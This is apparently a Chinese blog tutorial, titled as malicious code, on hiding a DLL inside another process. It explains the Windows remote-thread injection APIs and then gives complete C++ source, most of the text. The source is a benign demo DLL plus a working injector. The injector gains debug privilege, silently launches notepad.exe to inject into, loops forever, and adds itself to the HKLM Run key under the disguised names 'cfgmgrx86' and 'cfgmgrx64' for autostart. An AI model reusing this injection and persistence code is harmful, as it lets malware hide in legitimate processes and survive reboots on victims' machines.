恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)
0x01 dll 注入
所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。
很多恶意代码,游戏外挂,盗号木马,顽固类病毒等程序均采用此寄生,隐藏在目标计算机之内。
0x02 关键API
VirtualAllocEx function
VirtualAllocEx函数在远程进程的地址空间中分配一块内存
C++
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
WriteProcessMemory function
WriteProcessMemory函数把DLL的路径名复制到第1步分配的内存中
C++
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
GetProcAddress function
GetProcAddress函数来得到LoadLibraryW或LoadLibraryA函数(在Kernel32.dll中)的实际地址
GetProcAddress函数来得到LoadLibraryW或LoadLibraryA函数(在Kernel32.dll中)的实际地址
C++
FARPROC WINAPI GetProcAddress(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
CreateRemoteThread function
CreateRemoteThread函数在远程进程中创建一个线程,让新线程调用正确的LoadLibrary函数并在参数中传入第1步分配的内存地址。这时,DLL已经被注入到远程进程的地址空间中,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知并且可以执行我们想要执行的代码。
C++
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
VirtualFreeEx function
用VirtualFreeEx来释放第1步分配的内存。
C++
BOOL WINAPI VirtualFreeEx(
_In_ HANDLE hProcess,
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD dwFreeType
);
0x03 辅助工具
测试使用如下工具,也可以使用其它工具或者命令行也可以。
debugview 微软自家工具
pchunter 手动检测工具(神器)
0x04 注入代码
实现大家可以结合代码理解。
大家可以随便自己先编写一个demo.dll 这个不是重点。为了测试,编写的关键代码如下。
HANDLE ghServerThread=NULL;
BOOL CreateLukeMutex()
{
HANDLE hExist = ::CreateMutex( NULL, FALSE, L"5t4rk");
if( GetLastError() == ERROR_ALREADY_EXISTS )
{
OutputDebugString(L"[ 5t4rk ] application is exists ");
CloseHandle(hExist);
return FALSE;
}
return TRUE;
}
DWORD WINAPI ThreadRunning(LPVOID lpParameter)
{
DWORD dwIniateValue=1;
while(dwIniateValue>0)
{
if (dwIniateValue%10==0)
{
Sleep(10*10);
OutputDebugString(L"[ 5t4rk ] Beauty And The Beast ");
}
else if(dwIniateValue%10==1)
{
Sleep(11*110);
OutputDebugString(L"[ 5t4rk ] Because I Love You ");
}
else if(dwIniateValue%10==2)
{
Sleep(12*320);
OutputDebugString(L"[ 5t4rk ] When You Believe ");
}
else if(dwIniateValue%10==3)
{
Sleep(13*330);
OutputDebugString(L"[ 5t4rk ] Don't Cry For Me Argentina ");
}
else if(dwIniateValue%10==4)
{
Sleep(140*40);
OutputDebugString(L"[ 5t4rk ] Sharp Of My Heart ");
}
else if(dwIniateValue%10==5)
{
Sleep(100*1010);
OutputDebugString(L"[ 5t4rk ] My Heart Will Go On ");
}
else if(dwIniateValue%10==6)
{
Sleep(25*60);
OutputDebugString(L"[ 5t4rk ] I Will Always Love You ");
}
else if(dwIniateValue%10==7)
{
Sleep(8*1030);
OutputDebugString(L"[ 5t4rk ] More Than I Can Say ");
}
else if(dwIniateValue%10==8)
{
Sleep(13*1830);
OutputDebugString(L"[ 5t4rk ] Can I Feel The Love Tonights ");
}
else
{
Sleep(15*1000);
OutputDebugString(L"[ 5t4rk ] dll is still running ");
}
::InterlockedIncrement(&dwIniateValue);
}
return dwIniateValue;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TRUE==CreateLukeMutex())
{
ghServerThread = CreateThread(NULL, 0, ThreadRunning,NULL,0,0);
CloseHandle(ghServerThread);
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
//
break;
}
return TRUE;
}
然后编写注射器injector.exe 因为dll注入就是通过我们运行的进程去调用某个dll使它动态
得被加载到某个正在运行的进程内存之中。本人测试采用注入到notepad记事本之中。
关键代码如下
common.h
#include <Windows.h>
#include <tlhelp32.h>
#include <process.h>
#include <Psapi.h>
#pragma comment(lib,"psapi.lib")
#include <stdlib.h>
#include <string>
#include <iostream>
#include <stdio.h>
#include<tchar.h>
using namespace std;
class CSystemFunction
{
public:
CSystemFunction();
~CSystemFunction();
public:
static BOOL Is64bitOsVersion();
static bool IsWritedRegedit();
static bool IsStartProcess(TCHAR *szTargetProcessName);
static bool IsCheckProcess(TCHAR *szTargetProcessName);
static BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) ;
static int InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath);
static int InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath);
static int InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath);
static DWORD GetProcessPIDByName(TCHAR *szTargetProcessName);
static int InjectDLL(HANDLE hProcess, TCHAR *szDllPath);
static int InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath);
};
common.cpp
#include "common.h"
BOOL CSystemFunction::SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
_tprintf("OpenProcessToken error: %u/n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL,
lpszPrivilege,
&luid) )
{
_tprintf("LookupPrivilegeValue error: %u/n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
_tprintf("AdjustTokenPrivileges error: %u/n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
_tprintf("The token does not have the specified privilege. /n");
return FALSE;
}
return TRUE;
}
BOOL CSystemFunction::Is64bitOsVersion()
{
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
LPFN_ISWOW64PROCESS fnIsWow64Process;
BOOL bIs64bitOS = FALSE;
fnIsWow64Process=(LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle("kernel32.dll"),"IsWow64Process");
if (NULL != fnIsWow64Process)
{
if (!fnIsWow64Process(GetCurrentProcess(),&bIs64bitOS))
{
//
return FALSE;
}
else
{
return TRUE;
}
}
return bIs64bitOS;
}
bool CSystemFunction::IsWritedRegedit()
{
if (!Is64bitOsVersion())//32
{
HKEY hMyKey=NULL;
LONG lRet=0;
DWORD dwType = REG_SZ;
DWORD dwSize=MAX_PATH;
TCHAR chData[MAX_PATH]={'\0'};;
lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"), &hMyKey) ;
if (lRet!=ERROR_SUCCESS)
{
OutputDebugString(_T("Regedit can not be opened\n"));
return 1;
}
RegQueryValueEx(hMyKey,_T("cfgmgrx86"),NULL,&dwType,(LPBYTE)chData,&dwSize);
if (lstrlen(chData)>10)
{
OutputDebugString(_T("Regedit is already exists\n"));
RegCloseKey(hMyKey);
return 1;
}
else
{
HKEY hKey=NULL;
DWORD dwDisposition;
TCHAR filepath[MAX_PATH]={'\0'};
GetModuleFileName(NULL,filepath,MAX_PATH);
lstrcat(filepath,_T(" /autostart"));
if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"),0,
NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)
{
if (RegSetValueEx(hKey,_T("cfgmgrx86"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS)
{
OutputDebugString(_T("Regedit is already writed\n"));
RegCloseKey(hKey);
return 1;
}
else
{
OutputDebugString(_T("Regedit cannot be writed\n"));
RegCloseKey(hKey);
return 1;
}
}
else
{
OutputDebugString(_T("Regedit cannot be writed\n"));
return 1;
}
}
}
else //64
{
HKEY hMyKey=NULL;
BOOL bRet=FALSE;
DWORD dwType = REG_SZ;
DWORD dwSize=MAX_PATH;
TCHAR chData[MAX_PATH]={'\0'};
LONG lRet=0;
lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"), &hMyKey);
if (lRet!=ERROR_SUCCESS)
{
OutputDebugString(_T("Regedit can not be opened\n"));
return 1;
}
RegQueryValueEx(hMyKey,_T("cfgmgrx64"),NULL,&dwType,(LPBYTE)chData,&dwSize);
if (lstrlen(chData)>10)
{
OutputDebugString(_T("Regedit is already exists\n"));
RegCloseKey(hMyKey);
return 1;
}
else
{
HKEY hKey=NULL;
DWORD dwDisposition=0;
TCHAR filepath[MAX_PATH]={'\0'};
GetModuleFileName(NULL,filepath,MAX_PATH);
lstrcat(filepath,_T(" /autostart"));
if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"),0,
NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_64KEY,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)
{
if (RegSetValueEx(hKey,_T("cfgmgrx64"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS)
{
OutputDebugString(_T("Regedit is already writed\n"));
RegCloseKey(hKey);
return 1;
}
else
{
OutputDebugString(_T("Regedit cannot be writed\n"));
RegCloseKey(hKey);
return 1;
}
}
else
{
OutputDebugString(_T("Regedit cannot be writed\n"));
return 1;
}
}
}
return 1;
}
bool CSystemFunction::IsCheckProcess(TCHAR *szTargetProcessName)
{
bool bRetFind=false;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnap == INVALID_HANDLE_VALUE)
{
TCHAR chError[50]={0};
sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());
OutputDebugString(chError);
return false;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
BOOL bResult = Process32First(hSnap, &pe);
while(bResult)
{
if(0==lstrcmp(pe.szExeFile, szTargetProcessName))
{
bRetFind=true;
break;
}
bResult = Process32Next(hSnap, &pe);
}
CloseHandle(hSnap);
return bRetFind;
}
bool CSystemFunction::IsStartProcess(TCHAR *szTargetProcessName)
{
if(lstrlen(szTargetProcessName)>4)
{
SECURITY_ATTRIBUTES sa = {0};
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = {0};
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW;
TCHAR chSystem[MAX_PATH]={0};
DWORD dwSize=GetSystemDirectory(chSystem,MAX_PATH);
if(dwSize!=0)
{
lstrcat(chSystem,"\\");
lstrcat(chSystem,szTargetProcessName);
}
BOOL bResult =CreateProcess(chSystem, NULL, NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
if (!bResult)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
OutputDebugString("Failed CreateProcess");
return false;
}
if (!pi.hProcess)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
OutputDebugString("Failed WaitForSingleObject");
return false;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
OutputDebugString("Failed command parameter");
return false;
}
return true;
}
DWORD CSystemFunction::GetProcessPIDByName(TCHAR *szTargetProcessName)
{
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnap == INVALID_HANDLE_VALUE)
{
TCHAR chError[50]={0};
sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());
OutputDebugString(chError);
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
DWORD dwProcessId = 0;
BOOL bResult = Process32First(hSnap, &pe);
while(bResult)
{
if(!lstrcmp(pe.szExeFile, szTargetProcessName))
{
dwProcessId = pe.th32ProcessID;
break;
}
bResult = Process32Next(hSnap, &pe);
}
CloseHandle(hSnap);
return dwProcessId;
}
int CSystemFunction::InjectDLL(HANDLE hProcess, TCHAR *szDllPath)
{
int szDllPathLen = lstrlen(szDllPath) + 1;
PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx(hProcess,
NULL, szDllPathLen, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
if(RemoteProcessMemory == NULL)
{
TCHAR chError[50]={0};
sprintf_s(chError,"VirtualAllocEx::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
BOOL bRet = WriteProcessMemory(hProcess,
RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL);
if(bRet == FALSE)
{
TCHAR chError[50]={0};
sprintf_s(chError,"WriteProcessMemory::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
PTHREAD_START_ROUTINE pfnThreadRtn;
pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if(pfnThreadRtn == NULL)
{
TCHAR chError[50]={0};
sprintf_s(chError,"GetProcAddress::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
pfnThreadRtn, RemoteProcessMemory, 0, NULL);
if(hThread == NULL)
{
CHAR chError[50]={0};
sprintf_s(chError,"CreateRemoteThread::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
else
{
OutputDebugString("congratulations !");
}
//WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess,
RemoteProcessMemory, szDllPathLen, MEM_RELEASE);
CloseHandle(hThread);
return 0;
}
int CSystemFunction::InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath)
{
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE |
PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION , FALSE, dwPid);
if(hProcess == NULL)
{
CHAR chError[50]={0};
sprintf_s(chError,"OpenProcess::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
if(InjectDLL(hProcess, szDllPath))
{
CHAR chError[50]={0};
sprintf_s(chError,"InjectDLL::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
CloseHandle(hProcess);
return 0;
}
int CSystemFunction::InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath)
{
DWORD dwPid = GetProcessPIDByName(szTarget);
if(dwPid == 0)
{
CHAR chError[50]={0};
sprintf_s(chError,"GetProcessIdFromName::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
if(InjectDLLtoExistedProcess(dwPid, szDllPath))
{
CHAR chError[50]={0};
sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
return 0;
}
int CSystemFunction::InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath)
{
if(InjectDLLtoExistedProcess(dwPid, szDllPath))
{
CHAR chError[50]={0};
sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
return 0;
}
int CSystemFunction::InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
BOOL bResult = CreateProcess(NULL, szCommandLine, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if(bResult == FALSE)
{
CHAR chError[50]={0};
sprintf_s(chError,"CreateProcess::0x%08x",GetLastError());
OutputDebugString(chError);
return -1;
}
int nRet = -1;
if(InjectDLL(pi.hProcess, szDllPath))
goto _Exit;
nRet = 0;
_Exit:
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return nRet;
}
main.cpp
#include "common.h"
int APIENTRY WinMain
(__in HINSTANCE hInstance,
__in_opt HINSTANCE hPrevInstance,
__in LPSTR lpCmdLine,
__in int nShowCmd)
{
CSystemFunction::SetPrivilege(SE_DEBUG_NAME, TRUE);
while (true)
{
if(false==CSystemFunction::IsCheckProcess("notepad.exe"))
{
if (true==CSystemFunction::IsStartProcess("notepad.exe"))
{
CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");
}
else
{
OutputDebugString("the application can not be started !");
}
}
else
{
HANDLE hExist = ::CreateMutex( NULL, FALSE, _T("5t4rk"));
if( GetLastError() == ERROR_ALREADY_EXISTS )
{
OutputDebugString("[ 5t4rk ] Application is already running !");
CloseHandle( hExist );
Sleep(1000*60);
}
else
{
CloseHandle( hExist );
CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");
Sleep(1000*60);
}
}
}
return 1;
}
注意运行之前必须以右键管理员权限执行,因为注入是一种高危操作,必须过UAC。注入之前把第一个demo.dll复制到system32目录之下,当然你也可以是别的目录,修改对应的代码即可。
0x05 输出结果
测试程序采用线程实现循环输出调试信息字符串。
0x06 参考说明
如果测试失败可以先检查自己的程序和平台是不是兼容通用。
或者断点调试那个函数调用失败。或者GetLastError即可。
下载地址
参考地址